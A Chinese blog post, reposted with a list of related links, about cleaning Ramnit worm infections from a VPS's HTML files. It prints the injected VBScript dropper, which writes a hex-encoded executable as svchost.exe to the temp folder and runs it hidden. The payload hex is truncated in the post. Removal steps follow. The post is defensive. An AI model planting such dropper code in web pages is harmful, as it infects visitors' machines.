html病毒DropFileName,王国平博客-HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒查杀解决办法...

最近发现vps流量疯长看了下统计也没看到网站有大流量，查看源码才发现网页被添加了一段很长的js 内容大概是这样

DropFileName = “svchost.exe”

WriteData =

“4D5A0000200000000400000F00FFF.............................................此处省略N个字符串”

Set FSO = CreateObject("Scripting.FileSystemObject")

DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName

If FSO.FileExists(DropPath)=False Then

Set FileObj = FSO.CreateTextFile(DropPath, True)

For i = 1 To Len(WriteData) Step 2

FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))

FileObj.Close

End If

Set WSHshell = CreateObject("WScript.Shell")

WSHshell.Run DropPath, 0

//-->

到vps一看才发现所有的 html 文件末尾都被加了一段这个代码把页面体积搞的很大从而导致流量飙升，百度了一晚上没搞明白，第二天又搞了一天试过360杀毒根本没啥用，最后用赛门铁克的 Ramnit 蠕虫病毒专杀工具给搞定了。下面说下解决方案

1、下载赛门铁克的 Ramnit 蠕虫病毒专杀工具

下载后直接运行点 star 即可全盘删完后会提示重启点 yes 重启即可。

2、用专杀工具杀完以后随机检查了几个 html 文件发现还有那段代码，不过不会像之前自己手动删了然后里面就又被自动加上了，这说明病毒已经被杀掉了可能是文件太多，专杀工具没有全都检测得到，不过没关系可以用批量查找替换工具 ultrareplace 把网站重新查找替换一下即可。

ultrareplace 下载地址：http://www.xiazaiba.com/html/4475.html

目前看上去是问题解决了，还需再观察几天，尽量不要在服务器下载运行来历不明的软件，及时打补丁安装防护工具。

html病毒DropFileName,王国平博客-HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒查杀解决办法...相关推荐

蠕虫病毒html,HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒查杀解决办法
参考: https://www.cnblogs.com/wuhairui/p/8297614.html http://www.guopingblog.com/post/100.html 最近发现vps ...
赛门铁克杀html病毒,HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒查杀解决办法...
参考: https://www.cnblogs.com/wuhairui/p/8297614.html http://www.guopingblog.com/post/100.html 最近发现vps ...
感染＜SCRIPT Language=VBScript＞ DropFileName = “svchost.exe” Ramnit 蠕虫病毒 HTML清除工具
最近开发一个web项目,html文件在尾部老是自动生成一串乱码,如下图网上搜了下是电脑已经感染了Ramnit 蠕虫病毒,搜了一遍专杀工具各种收费,基本放弃.无奈电脑有太多东西,重装又浪费时间,时间成 ...
phpstorm正则匹配清理被蠕虫病毒污染的html文件DropFileName = “svchost.exe” Ramnit
电脑中毒了,本地的html文件全部被蠕虫病毒感染了.本地所有项目里面的html文件全部被破坏了,里面都插入了一个脚本,DropFileName = "svchost.exe" Ra ...
人生需要规划——感受徐小平 (转自徐小平博客)
周日晚上,看了世乒赛男单决赛王励勤对马琳的惊天大逆转之后,很是兴奋,过了午夜还睡不着,于是打开电视搜索有趣的节目,最后锁定三个频道轮换着看,一个是第一财经的财富人生,叶蓉访谈徐小平;一个是央视四套百 ...
值得看一眼的80句好话----转自徐小平博客
上网,看到这么一个帖子,觉得很好.网间真是充满了好东西.转贴在这里和大家分享. 01.每天告诉自己一遍:我真的很不错. 02.生气是拿别人做错的事来惩罚自己 03.生活中若没有朋友,就像生活中没有 ...
怎样取消关注别人的csdn博客
今天不小心点错关注了一个人的博客可是怎么取消关注呢找了半天终于找到解决办法 0x01: 来到个人主页 (地址就是https://blog.csdn.net/用户名) 接着将鼠 ...
Svchost.exe病毒
Svchost.exe是病毒的两种情况 1.利用假冒Svchost.exe名称的病毒程序这种方式运行的病毒并没有直接利用真正的Svchost.exe进程,而是启动了另外一个名称同样是Svchost. ...
Svchost.exe是病毒的两种情况
1.利用假冒Svchost.exe名称的病毒程序这种方式运行的病毒并没有直接利用真正的Svchost.exe进程,而是启动了另外一个名称同样是Svchost.exe的病毒进程,由于这个假冒的病毒进程 ...

html病毒DropFileName,王国平博客-HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒查杀解决办法...

html病毒DropFileName,王国平博客-HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒查杀解决办法...相关推荐

最新文章

热门文章

html病毒DropFileName,王国平博客-HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒 查杀解决办法...

html病毒DropFileName,王国平博客-HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒 查杀解决办法...相关推荐

最新文章

热门文章

html病毒DropFileName,王国平博客-HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒查杀解决办法...

html病毒DropFileName,王国平博客-HTML 感染 DropFileName = “svchost.exe” Ramnit 蠕虫病毒查杀解决办法...相关推荐